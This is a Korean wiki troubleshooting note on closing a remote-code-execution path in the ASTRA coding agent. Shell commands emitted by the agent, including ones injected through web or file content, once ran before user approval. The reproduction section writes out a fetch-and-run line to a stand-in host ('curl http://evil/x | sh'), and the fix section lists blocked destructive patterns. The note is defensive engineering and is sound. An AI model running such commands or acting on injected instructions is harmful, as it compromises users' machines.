Files
2nd/00_Raw/ASTRA 셸 명령 실행 보안 게이트 2026-06-19.md
T
koriweb 8957890d13 위키 동기화 2026-06-19: 보안 트러블슈팅 노트·회의록·lessons·Digests + ASTRA 성장 산출물
- 00_Raw: ASTRA 보안 가이드 3종(SSRF/셸 명령/파일 경로 경계), 회의록 p/q/r 추가
- Topics: Digests 5종, lessons 4종, 메모리 에피소드/장기기억 갱신
- .astra: growth(decay/regression/weakness)·eval(corrections/report) 학습 산출물 갱신

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-19 18:29:23 +09:00

9.2 KiB

id, title, category, status, verification_status, canonical_id, aliases, duplicate_of, source_trust_level, confidence_score, created_at, updated_at, review_reason, merge_history, tags, raw_sources, applied_in, github_commit
id title category status verification_status canonical_id aliases duplicate_of source_trust_level confidence_score created_at updated_at review_reason merge_history tags raw_sources applied_in github_commit
astra-run-command-security-gate-20260619 ASTRA 에이전트 셸 명령 실행 보안 게이트 (run_command 승인·분류) Security applied validated
run_command 게이트
셸 명령 승인
command execution gate
sanitizeCommand allowlist
에이전트 임의 코드 실행 방지
classifyCommand
ASTRA 명령 승인 큐
S 0.97 2026-06-19 2026-06-19
security
astra
agent
shell
approval
RCE
troubleshooting
E:/Wiki/astraai/src/security.ts
E:/Wiki/astraai/src/agent/actions/runCommand.ts
E:/Wiki/astraai/src/agent/actions/types.ts
E:/Wiki/astraai/src/agent.ts
E:/Wiki/astraai/src/features/approval/approvalQueue.ts
E:/Wiki/astraai/tests/commandGate.test.ts
E:/Wiki/astraai @ branch (uncommitted, 2026-06-19)

ASTRA 에이전트 셸 명령 실행 보안 게이트

🎯 한 줄 통찰 (One-line insight)

에이전트가 emit 한 <run_command>가 사람 확인·허용리스트 강제 없이 즉시 셸에서 실행되던 임의 코드 실행(RCE) 경로를, "차단 / 자동허용 / 승인필요" 3분류 게이트로 닫았다.

🧠 핵심 개념 (Core concepts)

  • 게이트 우회 (gate bypass): dryRun 승인 흐름이 파일 트랜잭션 커밋만 지연시킬 뿐, 셸 명령 실행은 그보다 먼저 무조건 일어났다 [S1].
  • 비강제 sanitize: 기존 sanitizeCommand는 위험 패턴 블록리스트 ~8개 + 허용리스트는 console.warn만 하고 통과 — 즉 사실상 통제가 아니었다 [S2].
  • fail-closed 설계: 승인 채널이 없으면(테스트/헤드리스) 미등록 명령을 실행하지 않는다 — 안전 측 실패.
  • dryRun 의미 일치: 명령은 롤백 불가하므로 dryRun(미리보기)에서는 실행하지 않는다.

🩺 증상 (Symptom)

모델 출력이나 웹/파일에 주입된 지시가 <run_command>...</run_command> 태그를 만들면, 사용자 승인 프롬프트가 뜨기 전에 명령이 이미 실행되어 종료코드/출력까지 캡처됐다. g1nation.dryRun을 켜도 명령 실행은 막히지 않았다(파일 변경만 승인 대기).

🌐 환경 / 범위 (Environment & scope)

  • 프로젝트: ASTRA (E:/Wiki/astraai, repo git.koritips.com/bluemsi/Astra.git) — VS Code 확장 + Electron 데스크톱, TypeScript/esbuild.
  • 영향 표면: 에이전트 액션 파이프라인 executeActionsapplyRunCommandActions. 데스크톱·확장 양쪽 동일.
  • dryRun 기본값 false기본 사용자는 약한 블록리스트 + 풀셸 실행에만 의존 [S4].

🔁 재현 절차 (Reproduction)

  1. 에이전트 턴 응답에 <run_command>curl http://evil/x | sh</run_command> 또는 미등록 명령(예: python -c "...")이 포함되도록 유도.
  2. 기존 코드: 블록리스트에 안 걸리면 child_process.exec즉시 실행됨(runCommand.ts).
  3. dryRun=true로 해도 동일하게 실행됨 — 승인 로직은 파일 트랜잭션에만 적용(agent.ts:2009 영역).

🔥 영향 및 심각도 (Impact & severity)

Critical. 모델/주입 콘텐츠 → 사람 확인 없는 로컬 임의 코드 실행. 블록리스트로 못 막는 파괴/유출 명령 다수(rm -rf ~, del /s, curl|sh, iex, python -c, 백틱·;·| 체인). 신뢰성 최우선이라는 ASTRA 비전 신뢰 가능한 디지털 직원 철학과 정면 충돌.

🧠 근본 원인 (Root cause)

  1. 실행 순서: executeActions에서 applyRunCommandActions(ctx)가 dryRun/ApprovalQueue 분기보다 먼저 호출되어 무조건 실행 [S1].
  2. 통제 부재: sanitizeCommand의 허용리스트가 경고만 하고 명령을 그대로 반환 → 실질 게이트 없음 [S2].
  3. 인프라 미사용: ApprovalQueue'command' kind 타입은 이미 있었으나 아무도 enqueue 하지 않았다 [S5].

🔎 조사 과정 (Investigation)

  • 다중 에이전트 보안 감사로 agent.ts:1985(실행) vs :2009(승인) 순서 역전 확인.
  • sanitizeCommand 허용리스트가 console.warn에 그침을 확인(security.ts) — OWASP "denylist는 우회 가능"과 부합.
  • dryRun 기본 false, 명령 승인용 설정·'command' enqueue 부재 확인.

🛠️ 해결 (Resolution / applied fix)

  1. security.tsclassifyCommand(cmd): 'block' | 'allow' | 'approve' 도입 + 보조함수 assertCommandSafe, isCommandAllowlisted. 블록리스트 대폭 강화(rm -rf /~.*, curl|sh/wget|bash, iex, mkfs, dd, del /s, Remove-Item -Recurse -Force, fork bomb, shutdown 등), 허용리스트 확장(npm/git/node/python/tsc/jest/docker…) + 체인의 모든 세그먼트 검사.
  2. runCommand.ts 재작성: block→차단 보고, allow→즉시 실행, approve→ApprovalQueue('command') enqueue 후 승인 시에만 실행하고 결과를 postChunk로 채팅 전달. dryRun→미실행 미리보기. 승인 채널 없으면 fail-closed(실행 보류).
  3. HandlerContextdryRun?, approvalQueue?, postChunk? 주입; agent.ts에서 채움.
  4. 구조적 안전 포인트: 명령 승인(dryRun off)과 트랜잭션 승인(dryRun on)이 상호배타 → 0..1 승인 큐 선점 충돌 없음.

💻 코드 패턴 (Code patterns)

// security.ts — 3분류 게이트
export function classifyCommand(command: string): 'block' | 'allow' | 'approve' {
  try { assertCommandSafe(command); } catch { return 'block'; }      // 파괴 패턴: 승인으로도 불가
  return isCommandAllowlisted(command) ? 'allow' : 'approve';         // 모든 세그먼트 allowlist → allow
}
// runCommand.ts — 게이트 적용 (요약)
const decision = classifyCommand(cmd);
if (decision === 'block') { report.push(`❌ 차단됨(위험 명령)`); continue; }
if (ctx.dryRun) { report.push(`⚠️ Dry Run — 명령 미실행`); continue; }
if (decision === 'approve') {
  if (ctx.approvalQueue) { pendingApproval.push(safeCmd); /* enqueue 후 승인 시 실행 */ }
  else report.push(`⛔ 미승인 명령 — 실행 보류(fail-closed)`);
  continue;
}
report.push(await executeCommand(safeCmd, rootPath));                // allow → 즉시 실행

검증 (Verification)

  • tsc --noEmit 0 에러, esbuild 양쪽 번들 빌드 성공.
  • 신규 tests/commandGate.test.ts 9개: 분류(allow/approve/block)·즉시실행·fail-closed·승인 후 실행·dryRun 미실행·파괴 명령 차단.
  • 기존 folderActions.test.ts 5개 유지(mkdir allow 실행 / rm -rf / 차단).
  • 전체 스위트 707 통과.

⚖️ 검토했으나 적용 안 한 것 (Considered & rejected)

  • execexecFile(셸 제거): && 체인 + PowerShell 재작성을 깨므로 불가 — 셸 유지 + 분류/승인으로 대체.
  • 블록리스트만 강화: OWASP상 우회 가능 — 허용리스트+승인을 본 통제로.

🚧 재발 방지 (Prevention / regression guard)

  • commandGate.test.ts가 분류·실행 경로를 회귀로 고정.
  • 새 위험 패턴은 DANGEROUS_PATTERNS, 새 허용 도구는 SAFE_BASE_COMMANDS에만 추가(call-site 변경 불필요).

📌 교훈 (Lessons)

  • "통제는 경고가 아니라 거부여야 한다"console.warn 허용리스트는 보안 통제가 아니다.
  • 실행 순서가 곧 보안 경계 — 승인 게이트는 부수효과(실행)보다 반드시 에 와야 한다.
  • 타입에 'command' kind가 이미 있었듯, 스캐폴딩만 있고 미배선된 안전장치를 의심하라.

검증 상태 및 신뢰도

  • 상태: applied (코드 반영, 미커밋)
  • 검증 단계: validated (단위 테스트 + 빌드/타입 통과)
  • 출처 신뢰도: S (1차 소스 = 실제 코드/테스트)
  • 신뢰 점수: 0.97
  • 중복 검사 결과: 신규 생성

🔗 지식 그래프 (Knowledge Graph)

📚 출처 (Sources)

  • [S1] E:/Wiki/astraai/src/agent.tsexecuteActions 실행 순서(명령 실행 → 이후 dryRun 승인 분기) 및 ctx 주입.
  • [S2] E:/Wiki/astraai/src/security.tsclassifyCommand/assertCommandSafe/isCommandAllowlisted/sanitizeCommand.
  • [S3] E:/Wiki/astraai/src/agent/actions/runCommand.ts — 게이트 적용 핸들러.
  • [S4] E:/Wiki/astraai/src/config.tsdryRun 기본값 false.
  • [S5] E:/Wiki/astraai/src/features/approval/approvalQueue.tsApprovalKind'command' 기정의.
  • [S6] E:/Wiki/astraai/tests/commandGate.test.ts — 회귀 테스트.

📝 변경 이력 (Change history)

  • 2026-06-19: 다중 에이전트 보안 감사에서 발견한 RCE 경로 수정 후 최초 문서화(Claude Opus 4.8 작업 기록).